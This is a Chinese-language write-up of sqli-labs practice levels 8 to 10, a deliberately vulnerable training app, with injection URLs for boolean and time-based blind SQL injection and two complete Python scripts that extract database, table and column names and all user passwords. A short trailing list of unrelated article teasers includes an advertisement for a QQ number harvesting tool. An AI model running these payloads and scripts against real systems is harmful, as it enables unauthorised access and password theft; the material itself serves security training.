sqli-labs 靶场 less-8、9、10 第八关到第十关详解:布尔注入,时间注入

SQLi-Labs是一个用于学习和练习SQL注入漏洞的开源应用程序。通过它,我们可以学习如何识别和利用不同类型的SQL注入漏洞,并了解如何修复和防范这些漏洞。

Less 8

SQLI DUMB SERIES-8

判断注入点

当输入id为1时正常显示:
id=1
加上单引号就报错了
welcome
那就将后面的代码注释就恢复正常显示:

http://sqli-labs.com/Less-8/
?id=1'--+

--+
并通过order语句得到表单字段为3个:
Order

实施注入

布尔(Boolean)盲SQL注入技术是一种SQL注入攻击的形式,它利用了数据库在处理布尔逻辑时的漏洞。
在这种攻击中,攻击者通过构造特定的SQL语句,尝试修改应用程序的查询语句,以便程序在响应时反映出某些操作结果(如真或假),从而确定某些特定答案或确认应用程序中的漏洞。
布尔盲注的原理是通过构造恰当的SQL语句,使得应用程序的响应结果有所不同。

通过以上信息来看可以确定,这一关可以用布尔盲注的方式来进行解题。我们先尝试用语句来判断是否获取正常。
通过下列结果可以看出来database()的第一个字符并不是a,我们需要继续尝试所有英文字母。

http://sqli-labs.com/Less-8/
?id=1')) and substr(database(),1,1)='a' --+

You are in.... Use outfile...

直到我们尝试用s测试出来它才是目标,并提示“***You are in…”。

http://sqli-labs.com/Less-8/
?id=1')) and substr(database(),1,1)='s' --+

You are in.... Use outfile

如果在MYSQL中的话则过程则为:

SELECT * FROM users WHERE id=(('1')) and substr(database(),1,1)='s' ;

username
故我们使用python代码来模拟这个过程并获取到完整目录文件,代码如下 :

import requests

ALPHABET=",abcdefghijklmnopqrstuvwxyz"
A_LEN=len(ALPHABET) 
URL="http://sqli-labs.com/Less-8/?id=1' and substr(({sql}),{position},1)='{char}'--+"

#布尔注入并返回判断
def boolInject(path):
    response=requests.get(path)
    if response.status_code==200:
        if "You are in" in response.text:
            return True
        else:
            return False
    else:
        return False

#获取数据
def extract_data(sql):
    s=""
    position=0
    while True:
        position+=1
        #先判断是否为空,为空则直接断开(意味着没有数据或已完成数据采集)
        res=boolInject(URL.format(sql=sql,position=position,char=""))
        if res==True:
            break
        #不为空则尝试一个个判断字母是否符合
        char=" "
        for i in range(A_LEN):
            res=boolInject(URL.format(sql=sql,position=position,char=ALPHABET[i]))
            #如果找到相同的字符串则填入char
            if res==True:
                char=ALPHABET[i]
                break
        s+=char
    return s

接着我们在相同文件编写获取数据库的命令:

print(extract_data("database()"))

ID参数实际为1')) and substr(database(),%i,1)='%s'--+
最后执行该文件:

> python bool.py

python
接着获取其它参数:

#获取表名
print(extract_data("select group_concat(table_name) from information_schema.tables where table_schema='security'"))
#query="1')) and substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),%i,1)='%s'--+"
#获取列名
print(extract_data("select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'"))
#query="1')) and substr((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),%i,1)='%s'--+"
#获取用户名全部密码
print(extract_data("select group_concat(password) from users"))
#query="1')) and substr((select group_concat(password) from users),%i,1)='%s'--+"

结果如下:
password
但是你会发现,在获取用户密码的时候会有很多空字符,这里是什么原因呢?

这是由于没有匹配对应的字符造成的,如果想要解决这个问题,那么你就要在`ALPHABET`参数上加上更多的字符以适应更多的情况。

Less 9

SQLI DUMB SERIES-9

series

判断注入点

输入ID,正常显示
id
但输入其它字符也都显示一样的内容。
you are in
在这里我们无法看到错误信息,也不知道信息能否正常获取到。
此时则尝试使用时间注入的方式来进行,当输入下列参数时可以看到页面需要等待五秒才返回数据,则代表SQL语句运行成功,且可以利用此漏洞:

http://sqli-labs.com/Less-9/
?id=1' and sleep(5) --+

you are

实施注入

SQL时间注入是一种安全漏洞,通过修改SQL查询中的时间参数,攻击者可以获取未授权的数据或执行未授权的操作。
1. 基于时间延迟:在SQL语句中注入时间相关的代码,如MySQL中的sleep()函数。例如,sleep(5)会使数据库延时5秒返回内容。攻击者可以根据页面的响应时间来判断是否存在SQL时间注入。
2. 判断方法:通过在注入点输入类似'and sleep(5)的语句,如果页面响应时间至少为5秒,则说明存在SQL时间注入。
3. 获取敏感信息:通过不断尝试和调试,攻击者可以逐步推断出数据库中存储的信息,如用户名、密码等。

接下来的工作就是之前使用的布尔注入流程一样,通过一个个字的判断来确定是否为想要的字符。
如我们获取数据名称是否为s,并通过睡眠5秒来判断:

http://sqli-labs.com/Less-9/
?id=1' and substr(database(),1,1)='a' and sleep(5)--+

执行后页面立即返回了数据,代表数据库名的第一个字符并不是a,直接判断s才能成功:

http://sqli-labs.com/Less-9/
?id=1' and substr(database(),1,1)='s' and sleep(5)--+

我们把这个过程通过python代码来完成自动化注入与判断,完整代码如下:

import requests
import time

ALPHABET=",abcdefghijklmnopqrstuvwxyz"#验证字符集
A_LEN=len(ALPHABET) 
SLEEP_TIME=1#等待时间(为了缩短代码运行时间,我们这里将睡眠时间设置为一秒钟)
URL="http://sqli-labs.com/Less-9/?id=1' and substr(({sql}),{position},1)='{char}' and sleep({time})--+"

#布尔注入并返回判断
def inject(path):
    start=time.time()
    response=requests.get(path)
    end=time.time()
    #如果数据获取时间大于睡眠时间代表代码运行成功
    if response.status_code==200 and end-start>SLEEP_TIME:
        return True
    else:
        return False

#获取数据
def extract_data(sql):
    s=""
    position=0
    while True:
        position+=1
        #先判断是否为空,为空则直接断开(意味着没有数据或已完成数据采集)
        res=inject(URL.format(sql=sql,position=position,char="",time=SLEEP_TIME))
        if res==True:
            break
        #不为空则尝试一个个判断字母是否符合
        char=" "
        for i in range(A_LEN):
            res=inject(URL.format(sql=sql,position=position,char=ALPHABET[i],time=SLEEP_TIME))
            #如果找到相同的字符串则填入char
            if res==True:
                char=ALPHABET[i]
                break
        s+=char
    return s
#获取数据库
print(extract_data("database()"))
#query="1' and substr(database(),%i,1)='%s' and sleep(%i)--+"

执行代码即获取成功:
python timeInject
那么后面的代码也是一样的道理:

#获取表名
print(extract_data("select group_concat(table_name) from information_schema.tables where table_schema='security'"))
#获取列名
print(extract_data("select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'"))
#获取用户名全部密码
print(extract_data("select group_concat(password) from users"))

执行结果,成功完成注入(有一说一,代码请求量一多这脚本运行时间真的长!):
timeInject

Less 10

SQLI DUMB SERIES-10

series

判断注入点

输入注入代码,通过测试可知是使用双引号来进行闭合的查询语句。

http://sqli-labs.com/Less-10/?id=1' and sleep(5) --+
http://sqli-labs.com/Less-10/?id=1' and sleep(5) --+
http://sqli-labs.com/Less-10/?id=1" and sleep(5) --+

sqli dum
如此便可以采用和上面类似的盲注入代码来进行。仅需要改其它的常量URL修改一下:

URL="http://sqli-labs.com/Less-10/?id=1\" and substr(({sql}),{position},1)='{char}' and sleep({time})--+"

SLEEP

系列文章

  • sqli-labs 靶场闯关基础准备
  • sqli-labs 靶场 less-1、2、3、4第一关至第四关
  • sqli-labs 靶场 less-5、6 第五关和第六关
  • sqli-labs 靶场 less-7

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/695049.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

Kafka 架构

1 整体架构 1.1 Zookeeper Zookeeper 是一个分布式协调服务,用于管理 Kafka 的元数据。它负责维护 Kafka 集群的配置信息、Broker 列表和分区的 Leader 信息。 Zookeeper 确保了 Kafka 集群的高可用性和可靠性。 但 Zookeeper 已经成为 Kafka 性能瓶颈,…

什么是 AOF 重写?AOF 重写机制的流程是什么?

引言:在Redis中,持久化是确保数据持久性和可恢复性的重要机制之一。除了常见的RDB(Redis Database)持久化方式外,AOF(Append Only File)也是一种常用的持久化方式。AOF持久化通过记录Redis服务器…

基于xml的Spring应用(理解spring注入)

目录 问题: 传统Javaweb开发的困惑? 问题: IOC、DI和AOP的思想提出 问题: Spring框架的诞生 1. BeanFactory快速入门 2. ApplicationContext快速入门 3. BeanFactory和ApplicationContext的关系 基于xml的Spring应用 1. SpringBean的…

Mamba v2诞生:3 SMA与Mamba-2

大模型技术论文不断,每个月总会新增上千篇。本专栏精选论文重点解读,主题还是围绕着行业实践和工程量产。若在某个环节出现卡点,可以回到大模型必备腔调或者LLM背后的基础模型新阅读。而最新科技(Mamba,xLSTM,KAN)则提…

312. 戳气球 Hard

有 n 个气球,编号为0 到 n - 1,每个气球上都标有一个数字,这些数字存在数组 nums 中。 现在要求你戳破所有的气球。戳破第 i 个气球,你可以获得 nums[i - 1] * nums[i] * nums[i 1] 枚硬币。 这里的 i - 1 和 i 1 代表和 i 相邻…

JDK17 | Windows环境配置

众所周知, Jdk8做了很大的提升,网上的访谈,问到当下程序员要不要升级JDK版本的时候,得到异口同声的答案,不需要。这么多年过去了,数据是不会骗人的,现在Star最多的是JDK17,今天&…

STM32中ADC在cubemx基础配置界面介绍

ADCx的引脚,对应的不同I/O口,可以复用。 Temperature :温度传感器通道。 Vrefint :内部参照电压。 Conversion Trigger: 转换触发器。 IN0 至 IN15,是1ADC1的16个外部通道。本示例中输出连接的是ADC2的IN5通道,所以只勾选IN5.Temperature Sensor Cha…

搭建自己的组件库<2>dialog 组件

目录 设置title 插槽显示 控制宽高 关闭对话框 transition实现动画 引入深度选择器 同样创建组件dialogue.vue后全局注册 dialogue模版&#xff1a; <template><!-- 对话框的遮罩 --><div class"miao-dialog_wrapper"><!-- 真的对话框 …

python如何输入回车

Python默认遇到回车的时候&#xff0c;输入结束。所以我们需要更改这个提示符&#xff0c;在遇到空行的时候&#xff0c;输入才结束。 raw_input就是从标注输入读取输入&#xff0c;输入的是什么就是什么。 文档解释&#xff1a; The function then reads a line from input,…

debian系统apt 国内安装源

debian系统apt 国内安装源&#xff1a; 国内阿里镜像源&#xff1a; deb http://mirrors.aliyun.com/debian stable main non-free contrib deb-src http://mirrors.aliyun.com/debian stable main non-free contrib 打开源文件位置&#xff1a;/etc/apt/sources.list,原来的内…

《经典图论算法》广度优先搜索

摘要&#xff1a; 1&#xff0c;广度优先搜索介绍 2&#xff0c;广度优先搜索的解题步骤 3&#xff0c;广度优先搜索的代码实现 1&#xff0c;广度优先搜索介绍 广度优先搜索(Breadth-first search&#xff0c;BFS)&#xff0c;又称宽度优先搜索&#xff0c;简单的说&#xff0…

知识工作者如何在工作中使用大模型?

自 2022 年 11 月 OpenAI 发布 ChatGPT 以来&#xff0c;人们对生成式人工智能&#xff08;GenAI&#xff0c;以下简称“生成式AI”&#xff09;的兴趣激增&#xff0c;同时也对其安全性表示担忧。 &#xff08;译者注&#xff1a;生成式人工智能&#xff0c;即用 AI 生成文本…

大模型常用推理参数工作原理

&#x1f34e;个人主页&#xff1a;小嗷犬的个人主页 &#x1f34a;个人网站&#xff1a;小嗷犬的技术小站 &#x1f96d;个人信条&#xff1a;为天地立心&#xff0c;为生民立命&#xff0c;为往圣继绝学&#xff0c;为万世开太平。 do_sample do_sample 参数控制是否使用采样…

QQ号码采集软件

寅甲QQ号码采集软件, 一款采集QQ号、QQ邮件地址&#xff0c;采集QQ群成员、QQ好友的软件。可以按关键词采集&#xff0c;如可以按地区、年龄、血型、生日、职业等采集。采集速度非常快且操作很简单。

抽象的java入门1.3.2

前言&#xff1a; 全新版本的函数&#xff08;方法&#xff09;定义&#xff0c;更简单 1.优化了验证过程&#xff0c;直击本质 2.新增目前一图流 正片&#xff1a; 函数的结构可以分为三部分&#xff1a;函数名&#xff0c;参数&#xff0c;函数体 一生二&#xff0c;二生…

扩散模型Stable Diffusion

扩散模型构成 Text Encoder(CLIPText) Clip Text为文本编码器。以77 token为输入&#xff0c;输出为77 token 嵌入向量&#xff0c;每个向量有768维度。 Diffusion(UNetScheduler) 在潜在空间中逐步处理扩散信息。以文本嵌入向量和由噪声组成的起始多维数组为输入&#xff0c…

gcc源码分析 词法和语法分析

gcc源码分析 词法和语法分析 一、输入参数相关1、命令行到gcc二、词法与语法分析1、词法分析1.1 struct cpp_reader1.2 struct tokenrun/struct cpp_token/lookahead字段1.3 struct ht2.1 语法符号相关的结构体c_token定义如下:2.2在语法分析中实际上有多个API组成了其接口函数…

产品成功的关键:构建高效运作的系统

在如今竞争激烈的市场环境中&#xff0c;一个产品要想脱颖而出&#xff0c;不仅仅需要独特的创意和优质的功能&#xff0c;更需要建立一套高效运作的系统。这个系统包括结果的具体化、达成路径的明确以及持续执行迭代并形成习惯等多个环节。下面&#xff0c;我们将结合具体的案…

中国现在最厉害的书法家颜廷利:东方伟大思想家哲学家教育家

中国书法界名人颜廷利教授&#xff0c;一位在21世纪东方哲学、科学界及当代中国教育领域内具有深远影响力的泰斗级人物&#xff0c;不仅以其深厚的国学修为和对易经姓名学的独到见解著称&#xff0c;还因其选择在济南市历城区的龙泉大街以及天桥区的凤凰山庄与泉星小区等地设立…

副业赚钱:如何避开陷阱,实现真正的财务自由

嗨&#xff0c;我是兰若&#xff0c;在这个时代&#xff0c;副业已经成为许多人追求财务自由的途径。但是&#xff0c;你在网上看到的许多副业广告实际上可能让你陷入更糟糕的境地。今天&#xff0c;我们就来揭开这些副业的真相&#xff0c;并分享一些真正有潜力的副业选择&…